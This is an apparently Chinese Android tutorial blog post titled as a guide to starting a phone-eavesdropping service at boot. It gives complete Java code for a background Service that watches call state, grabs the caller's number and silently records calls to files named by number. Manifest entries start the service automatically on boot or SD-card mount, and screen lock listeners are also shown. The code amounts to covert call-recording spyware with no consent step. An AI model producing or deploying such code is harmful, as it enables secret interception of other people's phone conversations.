05
2017
10

安卓开发-开机时启动电话窃听service服务

1.开启服务:

    Intent intent = new Intent(this, CallService.class);
    startService(intent);

2.创建录音服务:

2.1: 创建录音对象:

mRecorder = new MediaRecorder();

2.2: 配置录音对象的参数:

    //2.1:设置音频的来源,MIC,DEFAULT在开发的时候用
    //真时打电话时:VOICE_DOWNLINK/VOICE_UPLINK/VOICE_CALL(只能听到别人的/自己/双方的声音)
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    //2.2:设置录音文件的后缀名:.3gp(主流)  .mp3  .mp4
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    //2.3:设置录音文件保存的位置
    mRecorder.setOutputFile(getRecorderFilePath(mIncomingNumber));
    //2.4:设置音频内部解码方式
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    //2.5:准备录音
    mRecorder.prepare();

2.3: 开始录音:

mRecorder.start();

3.关闭录音:

    mRecorder.stop();
    mRecorder.release();
    mRecorder = null;

4.配置 监听电话状态和录音 的权限:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO" />

5.录音service服务代码:

public class CallService extends Service{

    @Override
    public void onCreate() {
        super.onCreate();

        //系统服务之一
        TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

        manager.listen(new PhoneStateListener(){
            //录音对象
            private MediaRecorder mRecorder;
            //号码只有在响铃时能获取,设置全局变量在接听态使用
            private String mIncomingNumber;
            //判断是否开始录音,防止空闲态就关闭录音对象
            private boolean isRecorder = false;

            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                super.onCallStateChanged(state, incomingNumber);

                switch (state) {
                    case TelephonyManager.CALL_STATE_IDLE:
                        Log.v("aaa", "空闲/挂断状态");

                        if(mRecorder != null && isRecorder){
                            mRecorder.stop();
                            mRecorder.release();
                            mRecorder = null;

                            isRecorder = false;
                        }
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:
                    try {
                        Log.v("aaa", "接听状态");

                        if(isRecorder == true){

                            mRecorder = new MediaRecorder();

                            //设置音频的来源,MIC,DEFAULT在开发的时候用
                            //真是打电话时:VOICE_DOWNLINK/VOICE_UPLINK/VOICE_CALL(只能听到别人的/自己/双方的声音)
                            mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                            //设置录音文件的后缀名:.3gp(主流) .mp3 .mp4
                            mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
                            //设置录音文件保存的位置
                            mRecorder.setOutputFile(getRecorderFilePath(mIncomingNumber));
                            //设置音频内部解码方式
                            mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                            //准备录音
                            mRecorder.prepare();

                            //开始录音
                            mRecorder.start();
                        }
                    } catch (IllegalStateException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }
                        break;
                    //只有响铃状态时才能获取到电话号码
                    case TelephonyManager.CALL_STATE_RINGING:
                        Log.v("aaa", "响铃状态" + incomingNumber);
                        mIncomingNumber = incomingNumber;

                        isRecorder = true;
                        break;
                }

            }
        }, PhoneStateListener.LISTEN_CALL_STATE);
    }

    private String getRecorderFilePath(String phone){
        //文件名为:电话+#+时间+后缀名
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:ss:mm");
        String path = phone + "#" + sdf.format(new Date()) + ".mp4";

        return new File(getFilesDir(), path).getAbsolutePath();
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}

6.在开机时启动服务:

1.监听开机的广播:

    可在配置了以下任意一个动作的receiver广播中开启电话监听服务
<!-- 安装SD卡动作 -->
<action android:name="android.intent.action.MEDIA_MOUNTED" />
<!-- 开机动作 -->
<action android:name="android.intent.action.BOOT_COMPLETED" />  
<!-- 开机的权限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
2,锁屏与解锁的广播监听(监听服务并在AndroidManifest.xml中配置该服务):
public class ScreenBroadcast extends BroadcastReceiver{

    @Override
    public void onReceive(Context context, Intent intent) {
        if(intent.getAction().equals(Intent.ACTION_SCREEN_OFF)){
            Log.v("aaa", "锁屏了");
        }else if(intent.getAction().equals(Intent.ACTION_SCREEN_ON)){
            Log.v("aaa", "解锁啦");
        }
    }

}



    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        //锁屏与解屏适合频繁的操作,不适合在配置文件中配置,在代码中注册:
        mScreen = new ScreenBroadcast();
        IntentFilter filter = new IntentFilter();
        filter.addAction(Intent.ACTION_SCREEN_OFF);
        filter.addAction(Intent.ACTION_SCREEN_ON);

        registerReceiver(mScreen, filter);
    }

    //关闭界面时应销毁注册的动作
    @Override
    protected void onDestroy() {
        super.onDestroy();

        unregisterReceiver(mScreen);
    }
上一篇:LruCache 源码解析 下一篇:android 跳转当前app权限页面